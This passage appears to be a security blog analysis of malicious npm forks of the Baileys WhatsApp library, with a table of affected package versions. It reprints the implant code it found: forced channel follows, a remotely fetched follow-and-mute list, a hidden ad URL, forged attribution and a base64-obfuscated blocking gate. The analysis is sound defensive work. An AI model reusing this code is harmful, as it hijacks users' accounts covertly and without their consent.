| 341 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.3 |
| 342 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.2 |
| 343 | ECOSYSTEM_NPM | baileys-cleaner | 1.0.0 |
| Row | ecosystem | name | version |
|---|---|---|---|
| 1 | ECOSYSTEM_NPM | @diezyyasha/libsignal-node | 2.2.8 |
| 2 | ECOSYSTEM_NPM | @vinnxcode/libsignal-node | 1.0.1 |
| 3 | ECOSYSTEM_NPM | @vinnxcode/libsignal-node | 1.0.0 |
| 4 | ECOSYSTEM_NPM | libsignal-node-travatiger | 1.0.1 |
| 5 | ECOSYSTEM_NPM | libsignal-node-travatiger | 1.0.0 |
| 6 | ECOSYSTEM_NPM | @dgxeon13/libsignal-node | 1.0.0 |
| 7 | ECOSYSTEM_NPM | @zizie071/libsignal-node | 3.4.6 |
| 8 | ECOSYSTEM_NPM | @zizie071/libsignal-node | 3.3.6 |
| 9 | ECOSYSTEM_NPM | @hanssoft/libsignal-node | 3.0.4 |
| 10 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.6 |
| 11 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.5 |
| 12 | ECOSYSTEM_NPM | @than-xs/libsignal-node | 2.0.5 |
| 13 | ECOSYSTEM_NPM | @sanzxcode/libsignal-node | 2.2.5 |
| 14 | ECOSYSTEM_NPM | @shenira/libsignal-node | 2.2.5 |
| 15 | ECOSYSTEM_NPM | @shenira/libsignal-node | 2.2.4 |
| 16 | ECOSYSTEM_NPM | @dgxeon/libsignal-node | 1.0.1 |
| 17 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.4 |
| 18 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.3 |
| 19 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.2 |
| 20 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.1 |
| 21 | ECOSYSTEM_NPM | @daffadeveloper/libsignal-node | 2.0.3 |
| 22 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.2.0 |
| 23 | ECOSYSTEM_NPM | @skyzopedia/libsignal-node | 2.0.11 |
| 24 | ECOSYSTEM_NPM | @skyzopedia/libsignal-node | 2.0.8 |
| 25 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.1.9 |
| 26 | ECOSYSTEM_NPM | @skyzopedia/libsignal-node | 2.0.5 |
| 27 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.22 |
| 28 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.13 |
| 29 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.10 |
| 30 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.8 |
| 31 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.7 |
| 32 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.6 |
| 33 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.4 |
| 34 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.3 |
| 35 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.2 |
| 36 | ECOSYSTEM_NPM | @yaoii-bails/libsignal-node | 2.0.2 |
| 37 | ECOSYSTEM_NPM | @shennmine/libsignal-node | 2.0.1 |
| 38 | ECOSYSTEM_NPM | @nazi-team/libsignal-node | 2.0.1 |
What links the packages
Each package is a different npm account with a different email. Most follow different channels. The
verified evidence does not show that one operator controls all of them. The packages overlap in one
place. mamz-baileys follows 120363406881628130@newsletter. A record for the removed
diezyyasha-baileys lists the same channel. Apart from this overlap, the packages share only the
forced-follow technique. The evidence points to independent operators that reuse the same technique.
How the follow evolved
The forced follow appears in three forms across the packages, from a fixed target to a remotely controlled list.
- Fixed target.
@neykoor/baileysfollows one hardcoded channel on every connection open. - Covert attribution.
mamz-baileysfollows a fixed channel and also injects an obfuscated advertising URL into every media message. - Remote control and concealment.
lupy4ufetches its target list from a public GitHub file, follows each channel, and then mutes it. The operator changes targets without republishing, and the mute hides the subscription from the account owner.
@prototypevip/baileys is different. It abuses the same authenticated session, but to send a message
from the installer and block the bot.
Part 2: Technical analysis
The common technique
All confirmed packages act through the installer’s authenticated session. They do not steal a static secret such as a token. The differences are which action they take and how the code reaches the session.
Forced follow of an attacker channel
@neykoor/[email protected] follows a hardcoded channel on every connection. The implant sits in
lib/Socket/newsletter.js.
// lib/Socket/newsletter.js (@neykoor/[email protected])const AUTO_FOLLOW_JID = '120363401404146384@newsletter';ev.on('connection.update', async ({ connection }) => { if (connection === 'open') { try { const followed = await isFollowingNewsletter(AUTO_FOLLOW_JID); if (!followed) { await executeWMexQueryIgnoreResponse({ newsletter_id: AUTO_FOLLOW_JID }, QueryIds.FOLLOW); } } catch {} }});Three properties make it deliberate. It binds to an automatic lifecycle event that no bot developer
calls, discards the response with a fire-and-forget query, and hides every error with an empty catch.
The pre-check keeps it silent on later reconnects. The socket chain shows the code reaches the
listener at runtime. makeWASocket builds down through messages-send.js, which calls
makeNewsletterSocket, which registers this listener.
A remotely controlled follow list
[email protected] moves the target list off the package and onto the network. autoJoinChannels() in
lib/Socket/newsletter.js fetches a JSON file from GitHub, then follows and mutes each channel it
returns.
// lib/Socket/newsletter.js ([email protected])const autoJoinChannels = async () => { const res = await fetch('https://raw.githubusercontent.com/LevviCodeID/Levi4than/refs/heads/main/levvleys.json'); const ids = await res.json(); for (const id of ids) { if (typeof id !== 'string' || !id.endsWith('@newsletter')) continue; await newsletterWMexQuery(id, QueryIds.FOLLOW); await new Promise((r) => setTimeout(r, 3000)); await newsletterWMexQuery(id, QueryIds.MUTE); }};sock.ev.on('connection.update', ({ connection }) => { if (connection !== 'open') return; setTimeout(() => autoJoinChannels(), 30000);});The list is remote, so the operator changes the targets without publishing a new version. Each follow is paired with a mute, which stops the notification that would show the account owner the new subscription. There is no opt-out and no consent prompt.
An advertising URL injected into media
[email protected] adds a second behaviour on top of a forced follow. In lib/Socket/messages-send.js,
at two sites, it sets a sourceUrl on the preview payload of every image and video the bot sends.
The URL is built from a character-code array rather than written as text.
// lib/Socket/messages-send.js ([email protected]), lines 425 and 436// prettier-ignoresourceUrl: String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 102, 105, 111, 114, 97, 46, 110, 105, 120, 101, 108, 46, 109, 121, 46, 105, 100, 47);// decodes to https://fiora.nixel.my.id/Every other URL in the file is a plain string. Only this one is assembled from character codes. The two forms behave the same at runtime, so the character codes serve only to keep the URL out of a text search. The author’s domain then rides on the media the installer sends to their own contacts.
Forged attribution on outgoing messages
@cikikomo/[email protected] adds the operator’s channel attribution to the victim’s outgoing messages
from lib/Socket/luxu.js.
// lib/Socket/luxu.js (@cikikomo/[email protected])forwardedNewsletterMessageInfo: { newsletterName: "CikiKomo", newsletterJid: "120363426628484388@newsletter", serverMessageId: 1}The same revision adds noSelfSync: true at four message-send sites. That flag suppresses syncing
the sent message back to the victim’s own devices, which lowers the chance the account holder notices
the injected attribution. The package advertises both the channel identifier and the noSelfSync
flag in its own package.json description, so the concealment targets the victim, not the buyer of
the fork.
Account block through an authorisation gate
@prototypevip/[email protected] hides an authorisation gate in lib/Store/prototype-store.js. The file
opens with a base64 string table and a one-line decoder.
// lib/Store/prototype-store.js (@prototypevip/[email protected])const _0x = [ 'Z2ludG9raQ==', // gintoki 'dHlwZQ==', // type 'bWQ=', // md 'd3M=', // ws 'c2VuZE1lc3NhZ2U=', // sendMessage 'dXNlcg==', // user 'amlk', // jid '2LrZitix...', // Arabic: "you are no longer authorized to use this bot"];const _d = (s) => Buffer.from(s, 'base64').toString('utf8');The gate walks each message object, finds the live multi-device socket, and checks whether it is
registered under the author’s own key gintoki. If not, it sends an unauthorised-use notice from the
victim’s account and throws to halt message handling.
// lib/Store/prototype-store.js (@prototypevip/[email protected])if (v[_d(_0x[1])] === _d(_0x[2]) && v[_d(_0x[3])]) { // v.type === "md" && v.ws const _0s2 = _d(_0x[0]); // "gintoki" if (k !== _0s2 && _0xobj.ulid) { v[_d(_0x[4])](v[_d(_0x[5])]?.[_d(_0x[6])], { // v.sendMessage(v.user?.jid, ...) text: _d(_0x[7]), }); const _e = (s) => new Error(_d(s)); throw _e("QmxvY2tlZA=="); // "Blocked" } continue;}cloneM() wraps the gate and runs inside the messages.upsert listener, so it runs on every message
the bot receives, not only at startup. A legitimate licence check has no reason to hide the word
sendMessage behind base64. The author hid it on purpose.
- malware
- npm
- supply-chain
- adware
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
keyv and cacheable npm compromise: 400+ packages
An npm worm published 2,234 poisoned versions across 444 package names. Its install script stole credentials and ran a command when GitHub revoked a token.
mrmustard PyPI Package Trojanized to Steal Credentials
Version 0.7.4 of Xanadu's mrmustard quantum computing library shipped to PyPI with no matching GitHub release. It carries a 258-line credential stealer that harvests SSH keys, AWS and Kubernetes...
Joyfill npm Packages Compromised with Blockchain C2 Loader
Malicious beta versions of @joyfill/components and @joyfill/layouts published on July 28, 2026 carried the PolinRider blockchain dead drop loader inside their production bundles. The Tron-to-BSC C2...
@copilot-mcp/apex: A macOS Infostealer Re-Published on npm After Takedown
The npm security team removed the original @apexfdn/apex package for malicious code, and the operator re-published the same postinstall macOS infostealer as @copilot-mcp/apex about 11 hours later. It...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.